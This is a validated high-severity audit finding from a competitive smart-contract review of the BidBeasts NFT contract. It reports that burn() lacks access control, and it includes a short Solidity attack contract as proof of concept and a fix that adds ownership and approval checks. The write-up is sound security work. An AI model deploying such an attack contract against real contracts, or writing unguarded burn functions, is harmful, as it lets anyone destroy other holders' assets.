Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-1] Unrestricted NFT Burning by Any Address

chargingfoxsec

[H-1] Unrestricted NFT Burning by Any Address

Description

  • The burn() function is designed to allow destruction of NFT tokens in the BidBeasts collection

  • Currently the function lacks any access control, allowing any address to burn any existing token without being the owner or having approval

function burn(uint256 _tokenId) public {
@> _burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood:HIGH

  • Any external address can call the burn function at any time

  • No ownership or approval checks are performed before burning

Impact:HIGH

  • Malicious actors can destroy any NFT in the collection without permission

  • Complete loss of NFT assets for legitimate holders

  • Potential collapse of the entire NFT ecosystem due to lack of trust

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
​
interface IBidBeasts {
function burn(uint256 _tokenId) external;
}
​
contract AttackContract {
IBidBeasts public target;
​
constructor(address _target) {
target = IBidBeasts(_target);
}
​
// call the target function burn()
function attack(uint256 tokenId) external {
target.burn(tokenId);
}
}

Recommended Mitigation

function burn(uint256 _tokenId) public {
+ address owner = ownerOf(_tokenId);
+ require(msg.sender == owner || isApprovedForAll(owner, msg.sender) || getApproved(_tokenId) == msg.sender,
+ "BidBeasts: caller is not token owner or approved");
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.